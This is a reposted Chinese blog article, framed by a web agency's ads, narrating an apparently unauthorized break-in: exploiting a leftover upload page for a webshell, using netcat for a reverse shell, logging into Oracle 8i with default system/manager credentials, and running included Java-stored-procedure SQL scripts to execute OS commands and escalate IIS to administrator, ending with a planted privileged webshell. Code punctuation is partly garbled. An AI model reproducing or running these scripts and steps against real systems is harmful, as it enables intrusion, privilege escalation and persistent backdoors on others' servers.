掃二維碼與項(xiàng)目經(jīng)理溝通
我們?cè)谖⑿派?4小時(shí)期待你的聲音
解答本文疑問(wèn)/技術(shù)咨詢/運(yùn)營(yíng)咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流
在oracle數(shù)據(jù)庫(kù)中,通過(guò)oracle默認(rèn)賬戶也是可以提升訪問(wèn)權(quán)限的,下文就為您介紹一個(gè)通過(guò)oracle默認(rèn)賬戶提升權(quán)限的例子,希望可以讓您對(duì)數(shù)據(jù)庫(kù)安全性方面有所啟迪:

創(chuàng)新互聯(lián)建站主營(yíng)周至網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,成都APP應(yīng)用開(kāi)發(fā),周至h5小程序定制開(kāi)發(fā)搭建,周至網(wǎng)站營(yíng)銷(xiāo)推廣歡迎周至等地區(qū)企業(yè)咨詢
近日,偶到一主機(jī)上逛了一圈。主機(jī)的配置還算是安全,偏偏一個(gè)比較隱藏的目錄下殘留了upfile.asp,結(jié)果輕輕松松的得到了webshell。
接著在主機(jī)上逛了逛,拿出superscan從外面掃了下,只開(kāi)放了80端口。從user\程序目錄里,發(fā)現(xiàn)有一快捷方式:firecontrol,好象是某款硬件防火墻的控制臺(tái)。WEBSHELL下檢測(cè)了下開(kāi)放的服務(wù),發(fā)現(xiàn)一般的可提權(quán)的方法都不可行,無(wú)SERV-U等等,主機(jī)的補(bǔ)丁也是打到了最新。試了下傳了個(gè)NC上去,反連接得到一SHELL,這下比在老兵的管理器里舒服多了。
在C盤(pán)下看到一個(gè)目錄oracle,看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件,確定了主機(jī)的服務(wù)名“xxx”,看了下版本“oracle 8i”,用數(shù)據(jù)庫(kù)連接器 Provider=MSDAORA.1.Password=manager.User ID=system.DataSource=xxxx試了下默認(rèn)的system賬戶,密碼manager,結(jié)果真的就連接到了本地的oracle服務(wù)。
這下好了,oracle默認(rèn)賬戶就像是mssql下的sa,我們來(lái)通過(guò)他來(lái)提升權(quán)限,馬上編輯了幾個(gè)腳本。
1.
- sql create or replace and compilejava source named "Util"asimport java.io.*.
- import java.lang.*.
- public class Util extends Object{public static int RunThis(String args)
- {
- Runtime rt = Runtime.getRuntime().
- int rc = -1.
- try{Process p = rt.exec(args).
- int bufSize = 4096.
- BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize).
- int len.byte buffer[] = new byte[bufSize].
- // Echo back what the program spit out
- while ((len = bis.read(buffer, 0, bufSize)) != -1)
- System.out.write(buffer, 0, len).
- rc = p.waitFor().
- }
- catch (Exception e)
- {
- e.printStackTrace().
- rc = -1.
- }
- finally{return rc.
- }
- }
- }
2.
- sql create or replacefunction RUN_CMD(p_cmd in varchar2)
- return numberaslanguage javaname Util.RunThis(java.lang.String)
- return integer.
3.
- sql create or replace procedure RC(p_cmd in varchar2)asx number.
- beginx := run_cmd(p_cmd).
- end.
保存在c:\下,然后用反連接得到的shell運(yùn)行 sqlplus system/manager@xxx然后再來(lái)執(zhí)行腳本 SQL>@C:\1.sqlSQL>@C:\2.sqlSQL>@C:\3.sql看到JAVA已創(chuàng)建、函數(shù)已創(chuàng)建、過(guò)程已創(chuàng)建,接著我們繼續(xù) SQL> variable x number.SQL> set serveroutput onSQL> exec dbms_java.set_output(100000).SQL>grant javasyspriv to system看到授權(quán)成功。
接著我們就可以來(lái)執(zhí)行系統(tǒng)命令了。我想先把ASP.dll加入特權(quán)一組 SQL>exec ???? := RUN_CMD(cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ).看到過(guò)程已經(jīng)成功完成,這個(gè)時(shí)候我們重新登陸我們的webshell,他已經(jīng)具有admin權(quán)限了。接著,再用NC返回一個(gè)shell,已經(jīng)是管理權(quán)限的,我們可以做我們想干的事了。因?yàn)檫@個(gè)主機(jī)有防火墻過(guò)濾除80以外的端口,所以不好做圖形的后門(mén),只有留下一有權(quán)限的webshell。到此已經(jīng)提權(quán)成功。

我們?cè)谖⑿派?4小時(shí)期待你的聲音
解答本文疑問(wèn)/技術(shù)咨詢/運(yùn)營(yíng)咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流